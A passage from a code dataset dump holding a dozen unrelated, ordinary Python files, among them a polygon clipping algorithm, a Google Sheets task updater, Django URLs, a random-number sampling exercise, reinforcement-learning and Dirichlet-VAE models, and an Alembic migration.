sorted([event for event in events if event.primary.in_result],\n key=self._events_queue.key)\n for index, event in enumerate(events):\n event.position = index\n are_internal, depths, holes, parents = [], [], [], []\n processed = [False] * len(events)\n contour_cls = self.context.contour_cls\n contours = []\n connectivity = events_to_connectivity(events)\n for index, event in enumerate(events):\n if processed[index]:\n continue\n contour_id = len(contours)\n _compute_relations(event, contour_id, are_internal, depths, holes,\n parents)\n vertices = _events_to_contour_vertices(event, events, contour_id,\n connectivity, processed)\n shrink_collinear_vertices(vertices,\n context=self.context)\n if depths[contour_id] % 2:\n # holes will be in clockwise order\n vertices.reverse()\n contours.append(contour_cls(vertices))\n result = []\n polygon_cls = self.context.polygon_cls\n for index, contour in enumerate(contours):\n if are_internal[index]:\n # hole of a hole is an external polygon\n result.extend(\n polygon_cls(contours[hole_index],\n [contours[hole_hole_index]\n for hole_hole_index in holes[hole_index]])\n for hole_index in holes[index])\n else:\n result.append(polygon_cls(contour,\n [contours[hole_index]\n for hole_index in holes[index]]))\n return result\n\n def fill_queue(self) -> None:\n events_queue = self._events_queue\n for polygon in self.left:\n events_queue.register(\n polygon_to_oriented_edges_endpoints(polygon,\n context=self.context),\n True)\n for polygon in self.right:\n events_queue.register(\n polygon_to_oriented_edges_endpoints(polygon,\n context=self.context),\n False)\n\n @abstractmethod\n def in_result(self, event: Event) -> bool:\n \"\"\"Detects if event will be presented in result of the operation.\"\"\"\n\n def normalize_operands(self) -> None:\n pass\n\n def process_event(self,\n event: Event,\n processed_events: List[Event],\n sweep_line: SweepLine) -> None:\n if event.is_right_endpoint:\n processed_events.append(event)\n event = event.complement\n if event in sweep_line:\n above_event, below_event = (sweep_line.above(event),\n sweep_line.below(event))\n sweep_line.remove(event)\n if above_event is not None and below_event is not None:\n self._events_queue.detect_intersection(below_event,\n above_event)\n elif event not in sweep_line:\n processed_events.append(event)\n sweep_line.add(event)\n above_event, below_event = (sweep_line.above(event),\n sweep_line.below(event))\n self.compute_fields(event, below_event)\n if (above_event is not None\n and self._events_queue.detect_intersection(event,\n above_event)):\n self.compute_fields(event, below_event)\n self.compute_fields(above_event, event)\n if (below_event is not None\n and self._events_queue.detect_intersection(below_event,\n event)):\n below_below_event = sweep_line.below(below_event)\n self.compute_fields(below_event, below_below_event)\n self.compute_fields(event, below_event)\n\n def sweep(self) -> Iterable[Event]:\n self.fill_queue()\n result = []\n sweep_line = SweepLine(self.context)\n events_queue = self._events_queue\n while events_queue:\n self.process_event(events_queue.pop(), result, sweep_line)\n return result\n\n\nclass Difference(Operation):\n __slots__ = ()\n\n def compute(self) -> Multipolygon:\n return self.context.multipolygon_cls(self._compute())\n\n def in_result(self, event: Event) -> bool:\n return (event.outside\n if event.from_left\n else event.inside or event.is_common_polyline_component)\n\n def sweep(self) -> Iterable[Event]:\n self.fill_queue()\n result = []\n events_queue = self._events_queue\n sweep_line = SweepLine(self.context)\n left_x_max = to_polygons_x_max(self.left)\n while events_queue:\n event = events_queue.pop()\n if left_x_max < event.start.x:\n break\n self.process_event(event, result, sweep_line)\n return result\n\n def _compute(self) -> Sequence[Polygon]:\n if not (self.left and self.right):\n return self.left\n left_box = bounding.from_polygons(self.left,\n context=self.context)\n if bounding.disjoint_with(\n left_box, bounding.from_polygons(self.right,\n context=self.context)):\n return self.left\n self.right = bounding.to_coupled_polygons(left_box, self.right,\n context=self.context)\n if not self.right:\n return self.left\n self.normalize_operands()\n return self.events_to_polygons(self.sweep())\n\n\nclass CompleteIntersection(Operation):\n __slots__ = ()\n\n def compute(self) -> Mix:\n points, segments, polygons = self._compute()\n context = self.context\n return (context.multipoint_cls(points),\n context.multisegment_cls(segments),\n context.multipolygon_cls(polygons))\n\n def in_result(self, event: Event) -> bool:\n return (event.inside\n or not event.from_left and event.is_common_region_boundary)\n\n def sweep(self) -> Iterable[Event]:\n self.fill_queue()\n result = []\n events_queue = self._events_queue\n sweep_line = SweepLine(self.context)\n min_max_x = min(to_polygons_x_max(self.left),\n to_polygons_x_max(self.right))\n while events_queue:\n event = events_queue.pop()\n if min_max_x < event.start.x:\n break\n self.process_event(event, result, sweep_line)\n return result\n\n def _compute(self) -> Tuple[Sequence[Point], Sequence[Segment],\n Sequence[Polygon]]:\n if not (self.left and self.right):\n return [], [], []\n left_box = bounding.from_polygons(self.left,\n context=self.context)\n right_box = bounding.from_polygons(self.right,\n context=self.context)\n if bounding.disjoint_with(left_box, right_box):\n return [], [], []\n self.left = bounding.to_intersecting_polygons(right_box, self.left,\n context=self.context)\n self.right = bounding.to_intersecting_polygons(left_box, self.right,\n context=self.context)\n if not (self.left and self.right):\n return [], [], []\n self.normalize_operands()\n events = sorted(self.sweep(),\n key=self._events_queue.key)\n points = [] # type: List[Point]\n endpoints = [] # type: List[SegmentEndpoints]\n for start, same_start_events in groupby(events,\n key=attrgetter('start')):\n same_start_events = list(same_start_events)\n if (all(event.is_right_endpoint or not event.in_result\n for event in same_start_events)\n and not all_equal(event.from_left\n for event in same_start_events)):\n no_segment_found = True\n for event, next_event in pairwise(same_start_events):\n if (event.from_left is not next_event.from_left\n and event.start == next_event.start\n and event.end == next_event.end):\n no_segment_found = False\n if not event.is_right_endpoint:\n endpoints.append(\n event_to_segment_endpoints(next_event))\n if no_segment_found and all(not event.primary.in_result\n for event in same_start_events):\n points.append(start)\n return (points,\n endpoints_to_segments(endpoints,\n context=self.context),\n self.events_to_polygons(events))\n\n\nclass Intersection(Operation):\n __slots__ = ()\n\n def compute(self) -> Multipolygon:\n return self.context.multipolygon_cls(self._compute())\n\n def in_result(self, event: Event) -> bool:\n return (event.inside\n or not event.from_left and event.is_common_region_boundary)\n\n def sweep(self) -> Iterable[Event]:\n self.fill_queue()\n result = []\n events_queue = self._events_queue\n sweep_line = SweepLine(self.context)\n min_max_x = min(to_polygons_x_max(self.left),\n to_polygons_x_max(self.right))\n while events_queue:\n event = events_queue.pop()\n if min_max_x < event.start.x:\n break\n self.process_event(event, result, sweep_line)\n return result\n\n def _compute(self) -> Sequence[Polygon]:\n if not (self.left and self.right):\n return []\n left_box = bounding.from_polygons(self.left,\n context=self.context)\n right_box = bounding.from_polygons(self.right,\n context=self.context)\n if bounding.disjoint_with(left_box, right_box):\n return []\n self.left = bounding.to_coupled_polygons(right_box, self.left,\n context=self.context)\n self.right = bounding.to_coupled_polygons(left_box, self.right,\n context=self.context)\n if not (self.left and self.right):\n return []\n self.normalize_operands()\n return self.events_to_polygons(self.sweep())\n\n\nclass SymmetricDifference(Operation):\n __slots__ = ()\n\n def compute(self) -> Multipolygon:\n return self.context.multipolygon_cls(self._compute())\n\n def in_result(self, event: Event) -> bool:\n return not event.is_overlap\n\n def _compute(self) -> Sequence[Polygon]:\n if not (self.left and self.right):\n return self.left or self.right\n elif bounding.disjoint_with(\n bounding.from_polygons(self.left,\n context=self.context),\n bounding.from_polygons(self.right,\n context=self.context)):\n result = []\n result += self.left\n result += self.right\n result.sort(key=to_first_border_vertex)\n return result\n self.normalize_operands()\n return self.events_to_polygons(self.sweep())\n\n\nclass Union(Operation):\n __slots__ = ()\n\n def compute(self) -> Multipolygon:\n return self.context.multipolygon_cls(self._compute())\n\n def _compute(self) -> Sequence[Polygon]:\n if not (self.left and self.right):\n return self.left or self.right\n elif bounding.disjoint_with(\n bounding.from_polygons(self.left,\n context=self.context),\n bounding.from_polygons(self.right,\n context=self.context)):\n result = []\n result += self.left\n result += self.right\n result.sort(key=to_first_border_vertex)\n return result\n self.normalize_operands()\n return self.events_to_polygons(self.sweep())\n\n def in_result(self, event: Event) -> bool:\n return (event.outside\n or not event.from_left and event.is_common_region_boundary)\n\n\ndef _compute_relations(event: Event,\n contour_id: int,\n are_internal: List[bool],\n depths: List[int],\n holes: List[List[int]],\n parents: List[Optional[int]]) -> None:\n depth = 0\n parent = None\n is_internal = False\n below_in_result_event = event.below_in_result_event\n if below_in_result_event is not None:\n below_in_result_contour_id = below_in_result_event.contour_id\n if not below_in_result_event.result_in_out:\n holes[below_in_result_contour_id].append(contour_id)\n parent = below_in_result_contour_id\n depth = depths[below_in_result_contour_id] + 1\n is_internal = True\n elif are_internal[below_in_result_contour_id]:\n below_in_result_parent_id = parents[below_in_result_contour_id]\n holes[below_in_result_parent_id].append(contour_id)\n parent = below_in_result_parent_id\n depth = depths[below_in_result_contour_id]\n is_internal = True\n holes.append([])\n parents.append(parent)\n depths.append(depth)\n are_internal.append(is_internal)\n\n\ndef _events_to_contour_vertices(cursor: Event,\n events: Sequence[Event],\n contour_id: int,\n connectivity: Sequence[int],\n processed: List[bool]) -> List[Point]:\n contour_start = cursor.start\n contour = [contour_start]\n contour_events = [cursor]\n complement_position = cursor.complement.position\n vertices_positions = {contour_start: 0}\n while cursor.end != contour_start:\n vertex = cursor.end\n if vertex in vertices_positions:\n # vertices loop found, i.e. contour has self-intersection\n previous_vertex_position = vertices_positions[vertex]\n del contour[previous_vertex_position:]\n del contour_events[previous_vertex_position:]\n else:\n vertices_positions[vertex] = len(contour)\n contour.append(vertex)\n position = _to_next_position(complement_position, processed,\n connectivity)\n if position is None:\n break\n cursor = events[position]\n contour_events.append(cursor)\n complement_position = cursor.complement.position\n for event in contour_events:\n processed[event.position] = processed[event.complement.position] = True\n if event.is_right_endpoint:\n event.complement.result_in_out = True\n event.complement.contour_id = contour_id\n else:\n event.result_in_out = False\n event.contour_id = contour_id\n return contour\n\n\ndef _to_next_position(position: int,\n processed: Sequence[bool],\n connectivity: Sequence[int]) -> Optional[int]:\n candidate = position\n while True:\n candidate = connectivity[candidate]\n if not processed[candidate]:\n return candidate\n elif candidate == position:\n return None\n","sub_path":"clipping/core/holey.py","file_name":"holey.py","file_ext":"py","file_size_in_byte":18900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51121198","text":"import os\nimport sys\nimport json\nimport openpyxl\nimport numpy as np\nimport pandas as pd\nfrom module import orderlunch\n\nPWD = os.getcwd()\n\n# Set the authentication information obtained from GCP\nPATH_CREDENTIALS = '{}/../secret/order-lunch-project.json'.format(PWD)\n\n# Read the google spreadsheet keys\nwith open('../secret/sp_name.json') as f:\n sp_names = json.load(f)\nEXCEL_DIR = '{}/../database/shokuraku'.format(PWD)\n\nif __name__ == \"__main__\":\n\n # Instance of shokuraku spreadsheet\n skrk = orderlunch.Shokuraku(\n path_credentials=PATH_CREDENTIALS, spreadsheet_key=sp_names['shokuraku'])\n\n # Menu List Worksheet of shokuraku spreadsheet\n skrk_worksheet = skrk.get_worksheet(worksheet_name='Menu List')\n\n # Menu List Worksheet of shokuraku spreadsheet\n df = skrk.get_dataframe(skrk_worksheet)\n df['Date'] = pd.to_datetime(df['Date'])\n df['day_name'] = pd.to_datetime(df['Date']).dt.day_name()\n df['Date'] = df['Date'].dt.date\n\n # drop duplicated schedule\n df['is_holiday'] = df['Date'].map(skrk.is_holiday).astype(int)\n df = df.loc[:, ['Date', 'is_holiday', 'day_name']\n ].drop_duplicates(subset='Date')\n df.reset_index(inplace=True)\n\n # update monthly menu\n df['update_monthly_menu'] = np.nan\n df['update_monthly_menu'].iloc[-5] = 1\n\n # check order\n df.loc[df['day_name'] == 'Monday', 'check_order'] = 1\n\n # update order list\n df.loc[df['day_name'] == 'Monday', 'update_order_list'] = 1\n\n # update database\n df_weekday = df.copy()\n df_weekday['is_holiday_lag'] = df_weekday['is_holiday'] - \\\n df_weekday['is_holiday'].shift(-1)\n df_weekday.loc[(df_weekday['day_name'] == 'Friday') & (\n df_weekday['is_holiday'] == 0) & (df_weekday['is_holiday_lag'] == 0), 'update_db'] = 1\n df_weekday.loc[(df_weekday['is_holiday'] == 0) & (\n df_weekday['is_holiday_lag'] == -1), 'update_db'] = 1\n df_weekday['update_db'] = df_weekday['update_db'].shift(-1)\n df_weekday['update_db'].iloc[-2] = 1\n df_weekday = df_weekday[df_weekday['is_holiday']\n == 0].loc[:, ['update_db']]\n\n df_task = df.join(df_weekday).drop(['index', 'day_name'], axis=1)\n df_task = df_task.fillna(0)\n\n df_task[df_task.select_dtypes(['float64']).columns] = df_task.select_dtypes([\n 'float64']).apply(lambda x: x.astype('int16'))\n\n # Menu List Worksheet of shokuraku spreadsheet\n skrk_worksheet = skrk.get_worksheet(worksheet_name='Task')\n\n df_task['Date'] = df_task['Date'].apply(lambda x: x.strftime('%Y/%m/%d'))\n skrk_worksheet.update([df_task.columns.values.tolist(\n )] + df_task.values.tolist(), value_input_option='USER_ENTERED')\n","sub_path":"src/update_task.py","file_name":"update_task.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169923914","text":"import math\ndef main():\n #escribe tu código abajo de esta línea\n \n x=int(input(\"Dame un numero: \"))\n\n if (x>0):\n print (\"Es positivo\")\n\n elif (x<0):\n print (\"Es negativo\")\n\n else:\n print (\"Es cero\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"assignments/01IdentificaSigno/src/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"91012855","text":"import sys\n\nargs = sys.argv[1:]\n\nfile_name = ''\ncount_flag = False\nnum_flag = False\nsort_flag = False\n\nwhile args:\n arg = args.pop(0)\n if arg == '--count':\n count_flag = True\n elif arg == '--num':\n num_flag = True\n elif arg == '--sort':\n sort_flag = True\n else:\n file_name = arg\n\nif len(file_name) == 0:\n print('ERROR')\n exit()\n\ntry:\n f = open(file_name, 'rt')\n lines = [x.strip() for x in f.readlines()]\n f.close()\nexcept FileNotFoundError:\n print('ERROR')\n exit()\n\nif sort_flag:\n lines.sort()\nfor num, l in enumerate(lines):\n prefix = ''\n if num_flag:\n prefix = f'{num} '\n print(prefix, l, sep='')\nif count_flag:\n print(f'rows count: {len(lines)}')\n","sub_path":"2nd_year/WEB3. Работа с командной строкой (скрипты, аргументы). Периодические задачи (модуль schedule)/Additional/08_super_cat.py","file_name":"08_super_cat.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"642018365","text":"from __future__ import print_function\nimport json, time\n\nclass DebugTiming:\n def __init__(self):\n self.data = []\n def add_event(self, name, when=None, **details):\n # [ start, [server_sent], [stop], name, start_details{}, stop_details{} ]\n if when is None:\n when = time.time()\n when = float(when)\n self.data.append( [when, None, None, name, details, {}] )\n return len(self.data)-1\n def finish_event(self, index, server_sent=None, **details):\n if server_sent is not None:\n self.data[index][1] = float(server_sent)\n self.data[index][2] = time.time()\n self.data[index][5] = details\n def write(self, fn, stderr):\n with open(fn, \"wb\") as f:\n json.dump(self.data, f)\n f.write(\"\\n\")\n print(\"Timing data written to %s\" % fn, file=stderr)\n","sub_path":"src/wormhole/timing.py","file_name":"timing.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"475342131","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'sondages'\nurlpatterns = [\n # ex: /sondages/\n url(r'^$', views.IndexView.as_view(), name='index'),\n # ex: /sondages/5/\n url(r'^specifiques/(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'),\n # ex: /sondages/5/resultats/\n url(r'^(?P[0-9]+)/resultats/$', views.ResultatsView.as_view(), name='resultats'),\n # ex: /sondages/5/vote/\n url(r'^(?P[0-9]+)/vote/$', views.vote, name='vote'),\n]","sub_path":"django_local/sondages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601659610","text":"# This program is used to produce random numbers distributed according to a falling distribution \n# of the form exp(−x) in the range[0,5] using Inverse Transform method\nimport random\nimport math\nimport numpy as np\n\nNaccept1 = 0\nNtotal1 = 0\nExpNumberList1 = []\nlamda = 1.0\n\nfor iran in range(10000):\n u = random.random()\n x = -np.log(1.0-u)/lamda\n if x > 5:\n Ntotal1 = Ntotal1+1\n else:\n ExpNumberList1.append(x)\n Naccept1 = Naccept1+1\n Ntotal1 = Ntotal1+1\n\nimport matplotlib.pyplot as plt\n\ndef draw_hist(myList, Title, Xlabel, Ylabel, Xmin, Xmax, Ymin, Ymax):\n plt.hist(myList, 50)\n plt.xlabel(Xlabel)\n plt.xlim(Xmin, Xmax)\n plt.ylabel(Ylabel)\n plt.ylim(Ymin, Ymax)\n plt.title(Title)\n plt.show()\n\ndraw_hist(ExpNumberList1, 'Inverse Transform Method', 'RandomNumber', 'Counts', 0.0, 5.0, 0.0, 1100.0)\n\n# This program is used to produce random numbers distributed according to a falling distribution \n# of the form exp(−x) in the range[0,5] using Accept-Reject method\n\nlamda = 1.0\nNaccept2 = 0\nNtotal2 = 0\nExpNumberList2 = []\n\nfor iran in range(10000):\n x = random.random()\n x = 5*x\n y = random.random()\n if y > lamda* math.exp(-lamda*x):\n Ntotal2 = Ntotal2+1\n elif y < lamda* math.exp(-lamda*x):\n ExpNumberList2.append(x)\n Naccept2 = Naccept2+1\n Ntotal2 = Ntotal2+1\n \ndraw_hist(ExpNumberList2, 'Accept-Reject Method', 'RandomNumber', 'Counts', 0.0, 5.0, 0.0, 200.0)\n\n# So we can compare the efficiency of the two different method now\nprint(\"The efficiency of inverse-transform method: \", Naccept1/Ntotal1)\nprint(\"The efficiency of accept-reject method: \", Naccept2/Ntotal2)\n\n# We can see that the efficiency of inverse-transform method is much larger than that of accept-reject method. Note that \n# the efficiency of inverse-transform method is supposed to be 100%, but since we choose the region[0,5], some numbers are \n# abandoned, so the efficiency is not 100%.\n","sub_path":"Exercise4_ExpFallingDistribution.py","file_name":"Exercise4_ExpFallingDistribution.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"366878707","text":"import tensorflow as tf\n\n\nclass ModelBaseQ(tf.keras.Model):\n def __init__(self, state_dim, d_action_dim, c_action_dim, name=None):\n super().__init__(name=name)\n self.state_dim = state_dim\n self.d_action_dim = d_action_dim\n self.c_action_dim = c_action_dim\n\n def init(self):\n self(tf.keras.Input(shape=(self.state_dim,)),\n tf.keras.Input(shape=(self.c_action_dim,)))\n\n def call(self, state, action):\n raise Exception(\"ModelQ not implemented\")\n\n\nclass ModelQ(ModelBaseQ):\n def __init__(self, state_dim, d_action_dim, c_action_dim, name=None,\n dense_n=64, dense_depth=0,\n d_dense_n=64, d_dense_depth=3,\n c_state_n=64, c_state_depth=0,\n c_action_n=64, c_action_depth=0,\n c_dense_n=64, c_dense_depth=3):\n super().__init__(state_dim, d_action_dim, c_action_dim, name)\n\n self.dense = tf.keras.Sequential([\n tf.keras.layers.Dense(dense_n, tf.nn.relu) for _ in range(dense_depth)\n ], name='shared_seq')\n\n if self.d_action_dim:\n self.d_dense = tf.keras.Sequential([\n tf.keras.layers.Dense(d_dense_n, tf.nn.relu) for _ in range(d_dense_depth)\n ] + [tf.keras.layers.Dense(d_action_dim, name='d_q_output_dense')], name='d_seq')\n\n if self.c_action_dim:\n self.c_state_model = tf.keras.Sequential([\n tf.keras.layers.Dense(c_state_n, tf.nn.relu) for _ in range(c_state_depth)\n ], name='c_state_seq')\n self.c_action_model = tf.keras.Sequential([\n tf.keras.layers.Dense(c_action_n, tf.nn.relu) for _ in range(c_action_depth)\n ], name='c_action_seq')\n self.c_dense = tf.keras.Sequential([\n tf.keras.layers.Dense(c_dense_n, tf.nn.relu) for _ in range(c_dense_depth)\n ] + [tf.keras.layers.Dense(1, name='c_q_output_dense')], name='c_seq')\n\n def call(self, state, c_action):\n state = self.dense(state)\n \n if self.d_action_dim:\n d_q = self.d_dense(state)\n else:\n d_q = tf.zeros((0,))\n\n if self.c_action_dim:\n c_state = self.c_state_model(state)\n c_action = self.c_action_model(c_action)\n\n c_q = self.c_dense(tf.concat([c_state, c_action], -1))\n else:\n c_q = tf.zeros((0,))\n\n return d_q, c_q\n","sub_path":"algorithm/nn_models/q.py","file_name":"q.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"186600002","text":"import urllib.request\nimport json\n\ndef replace(self):\n resp = urllib.request.urlopen(url).read()\n data = json.loads(resp.decode('utf-8')) \n return data\n\nurl = 'http://api.icndb.com/jokes/random?limitTo=[nerdy]'\njoke = replace(url)\n\nprint(joke['value']['joke'])\n","sub_path":"Exercicios VII/Exemplos/Joke.py","file_name":"Joke.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"233637280","text":"\nfrom Base import InitiateDriver\n\ndef test_222():\n '''driver = webdriver.Chrome(executable_path='C:/pychWork/Practise/driver/chromedriver.exe')\n import time\n driver.get(\"https://www.thetestingworld.com/testings/\")'''\n\n driver = InitiateDriver.startBrowser()\n driver.maximize_window()\n print(\"Text on link is :: \" +driver.find_element_by_class_name(\"displayPopup\").text)\n\n print(\"value of :: \"+driver.find_element_by_xpath(\"//input[@type='submit']\").get_attribute(\"type\"))\n InitiateDriver.closeBrowser()\n\n\n\n'''\ndef datagenrator():\n\n vk=openpyxl.load_workbook(\"D:/Workspace/EndToEnd/file/TD10.xlsx\")\n sh=vk['Sheet1']\n r= sh.max_row\n li=[]\n li1=[]\n for i in range(1, r+1):\n li1=[]\n un=sh.cell[i,1]\n up=sh.cell[i,2]\n #Dob = sh.cell[i,3]\n li1.insert(0,un.value)\n li1.insert(1, up.value)\n li.insert(i-1,li1)\n print(li)\n return li\n\n@pytest.mark.parametrize('data',datagenrator())\ndef test_ValidateRegistration(data):\n driver=InitiateDriver.startBrowser()\n Register= RegistrationPage.Registration(driver)\n Register.enter_Username(data[0])\n Register.enter_email(data[1])\n Register.enter_Dob(data[2])\n InitiateDriver.closeBrowser()\n\n'''","sub_path":"TestCases/test_Tc_002_Login.py","file_name":"test_Tc_002_Login.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141123642","text":"\"\"\"empty message\n\nRevision ID: 5414231b9483\nRevises: 950ae55de584\nCreate Date: 2020-04-03 12:15:23.047683\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5414231b9483'\ndown_revision = '950ae55de584'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('Artist', sa.Column('seeking_description', sa.String(), nullable=True))\n\n op.add_column('Artist', sa.Column('seeking_venue', sa.Boolean(), nullable=True))\n op.execute('UPDATE \"Artist\" SET seeking_venue = False WHERE seeking_venue IS NULL;')\n op.alter_column('Artist', 'seeking_venue', nullable=False)\n\n op.add_column('Artist', sa.Column('website', sa.String(length=120), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('Artist', 'website')\n op.drop_column('Artist', 'seeking_venue')\n op.drop_column('Artist', 'seeking_description')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/5414231b9483_.py","file_name":"5414231b9483_.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"267748749","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport os\nimport time\nimport sys\nfrom tensorflow.python.ops import variable_scope\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nfrom . import decoder_fn_lib\nimport numpy as np\nimport re\nfrom . import utils\nfrom .utils import sample_gaussian, gaussian_kld, norm_log_liklihood, get_bow, get_rnn_encode, get_bi_rnn_encode, get_idf\n\nimport tensorboardX as tb\nimport tensorboardX.summary\nimport tensorboardX.writer\n\nfrom .cvae import BaseTFModel\n\nclass DirVAE(BaseTFModel):\n '''\n Sequence-to-sequence baseline with attention for persona generation dataset, with/without\n pfofiles.\n When using profiles, we will use attention memory together with the input\n '''\n def __init__(self, config, api, log_dir, scope=None):\n super(DirVAE, self).__init__()\n\n # The approximated Dirchlet function prior\n self.h_dim = config.num_topic\n self.a = 1.*np.ones((1 , self.h_dim)).astype(np.float32)\n prior_mean = torch.from_numpy((np.log(self.a).T - np.mean(np.log(self.a), 1)).T)\n prior_var = torch.from_numpy((((1.0 / self.a) * (1 - (2.0 / self.h_dim))).T +\n (1.0 / (self.h_dim * self.h_dim)) * np.sum(1.0 / self.a, 1)).T)\n prior_logvar = prior_var.log()\n\n self.register_buffer('prior_mean', prior_mean)\n self.register_buffer('prior_var', prior_var)\n self.register_buffer('prior_logvar', prior_logvar)\n\n self.use_profile = config.use_profile\n self.vocab = api.vocab\n self.rev_vocab = api.rev_vocab\n self.vocab_size = len(self.vocab)\n\n self.scope = scope\n self.max_utt_len = config.max_utt_len\n self.go_id = self.rev_vocab[\"\"]\n self.eos_id = self.rev_vocab[\"\"]\n self.context_cell_size = config.cxt_cell_size\n self.sent_cell_size = config.sent_cell_size\n self.dec_cell_size = config.dec_cell_size\n\n self.embed_size = config.embed_size\n self.sent_type = config.sent_type\n self.keep_prob = config.keep_prob\n self.num_layer = config.num_layer\n self.dec_keep_prob = config.dec_keep_prob\n self.full_kl_step = config.full_kl_step\n self.grad_clip = config.grad_clip\n self.grad_noise = config.grad_noise\n\n self.embedding = nn.Embedding.from_pretrained(torch.from_numpy(np.array(api.word2vec, dtype='float32')))\n\n # no dropout at last layer, we need to add one\n # sentene encoder\n if self.sent_type == \"bow\":\n input_embedding_size = output_embedding_size = self.embed_size\n elif self.sent_type == \"rnn\":\n self.sent_cell = self.get_rnncell(\"gru\", self.embed_size, self.sent_cell_size, self.keep_prob, 1)\n input_embedding_size = output_embedding_size = self.sent_cell_size\n elif self.sent_type == \"bi_rnn\":\n self.bi_sent_cell = self.get_rnncell(\"gru\", self.embed_size, self.sent_cell_size, keep_prob=1.0, num_layer=1, bidirectional=True)\n input_embedding_size = output_embedding_size = self.sent_cell_size * 2\n\n joint_embedding_size = input_embedding_size + 2\n\n # contextRNN for input context and profile\n self.enc_cell = self.get_rnncell(config.cell_type, joint_embedding_size, self.context_cell_size, keep_prob=1.0, num_layer=config.num_layer)\n cond_embedding_size = self.context_cell_size * 2 if config.use_profile else self.context_cell_size\n \n # ReconNetwork from condition, with prior\n recog_input_size = cond_embedding_size\n self.recog_logvar_fc = nn.Linear(recog_input_size, self.h_dim)\n self.recog_mean_fc = nn.Linear(recog_input_size, self.h_dim)\n self.recog_logvar_bn = nn.BatchNorm1d(self.h_dim)\n self.recog_mean_bn = nn.BatchNorm1d(self.h_dim)\n self.recog_logvar_bn.weight.requires_grad = False\n self.recog_mean_bn.weight.requires_grad = False\n\n self.recog_logvar_bn.weight.fill_(1)\n self.recog_mean_bn.weight.fill_(1)\n\n # PriorNetwork for response, with approximated Dirchlet function\n prior_input_size = output_embedding_size\n self.logvar_fc = nn.Linear(prior_input_size, self.h_dim)\n self.mean_fc = nn.Linear(prior_input_size, self.h_dim)\n self.mean_bn = nn.BatchNorm1d(self.h_dim) # bn for mean\n self.logvar_bn = nn.BatchNorm1d(self.h_dim) # bn for logvar\n self.decoder_bn = nn.BatchNorm1d(self.vocab_size)\n self.logvar_bn.weight.requires_grad = False\n self.mean_bn.weight.requires_grad = False\n self.decoder_bn.weight.requires_grad = False\n\n self.logvar_bn.weight.fill_(1)\n self.mean_bn.weight.fill_(1)\n self.decoder_bn.weight.fill_(1)\n \n # generation work in topicVae logp(x|z)p(z)\n self.dec_init_state_net = nn.Linear(self.h_dim, self.dec_cell_size)\n dec_input_embedding_size = self.embed_size\n self.dec_cell = self.get_rnncell(config.cell_type, dec_input_embedding_size, self.dec_cell_size, config.keep_prob, config.num_layer)\n self.dec_cell_proj = nn.Linear(self.dec_cell_size, self.vocab_size)\n\n # generation work with latent and condition\n dec_all_input_size = self.h_dim + cond_embedding_size\n self.dec_init_state_net_all = nn.Linear(dec_all_input_size, self.dec_cell_size)\n self.rec_dec_cell = self.get_rnncell(config.cell_type, dec_input_embedding_size, self.dec_cell_size, config.keep_prob, config.num_layer)\n self.dec_cell_proj_all = nn.Linear(self.dec_cell_size, self.vocab_size)\n\n # BOW loss\n self.bow_project = nn.Sequential(\n nn.Linear(self.h_dim, self.vocab_size),\n self.decoder_bn\n )\n\n self.build_optimizer(config, log_dir)\n\n # initilize learning rate\n self.learning_rate = config.init_lr\n with tf.name_scope(\"io\"):\n # all dialog context and known attributes\n self.input_contexts = tf.placeholder(dtype=tf.int32, shape=(None, None, self.max_utt_len), name=\"dialog_context\")\n self.floors = tf.placeholder(dtype=tf.int32, shape=(None, None), name=\"floor\")\n self.context_lens = tf.placeholder(dtype=tf.int32, shape=(None,), name=\"context_lens\")\n self.topics = tf.placeholder(dtype=tf.int32, shape=(None,), name=\"topics\")\n #self.my_profile = tf.placeholder(dtype=tf.float32, shape=(None, 4), name=\"my_profile\")\n #self.ot_profile = tf.placeholder(dtype=tf.float32, shape=(None, 4), name=\"ot_profile\")\n\n # target response given the dialog context\n self.output_tokens = tf.placeholder(dtype=tf.int32, shape=(None, None), name=\"output_token\")\n self.output_lens = tf.placeholder(dtype=tf.int32, shape=(None,), name=\"output_lens\")\n self.output_das = tf.placeholder(dtype=tf.int32, shape=(None,), name=\"output_dialog_acts\")\n\n # optimization related variables\n self.global_t = tf.placeholder(dtype=tf.int32, name=\"global_t\")\n self.use_prior = tf.placeholder(dtype=tf.bool, name=\"use_prior\")\n\n def 